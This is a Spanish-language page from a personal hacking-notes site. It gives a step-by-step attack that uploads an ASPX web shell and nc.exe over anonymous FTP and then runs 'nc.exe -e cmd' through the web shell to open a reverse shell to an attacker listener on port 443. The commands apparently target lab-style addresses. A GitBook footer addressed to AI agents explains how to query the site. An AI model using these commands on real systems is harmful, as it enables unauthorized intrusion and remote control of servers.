> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).

# FTP - Ataque de shell inversa y web shell

## **Shell inversa mediante carga por FTP**

### **Sube una web shell ASPX**

Usa una web shell existente, **`cmd.aspx`**, de SecLists:

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Súbela al servidor FTP:

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

Accede a la web shell a través del servidor HTTP y ejecuta comandos, por ejemplo:

```bash
ipconfig
```

<figure><img src="/files/93f61c033950034f2f0400f4308ac718aa723f50" alt=""><figcaption></figcaption></figure>

### **Subir el `nc.exe` binario para una shell inversa**

Descargar **`nc.exe`** de SecLists:

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Súbela al servidor FTP:

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

Desde la web shell, localiza **`nc.exe`** en el servidor objetivo:

```powershell
dir /s C:/nc.exe
```

### **Configura la shell inversa**

<figure><img src="/files/2451eeee3dd2358bb505c8ec09cb5c20aa45bec2" alt=""><figcaption></figcaption></figure>

**Escucha en el puerto 443:**

Configura un `nc` escuchador en el puerto 443:

```bash
rlwrap nc -nvlp 443
```

Desde la máquina objetivo, ejecuta el siguiente comando a través de la web shell:

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="/files/c004c04d96304a6357f2f2273f4310234aeac090" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
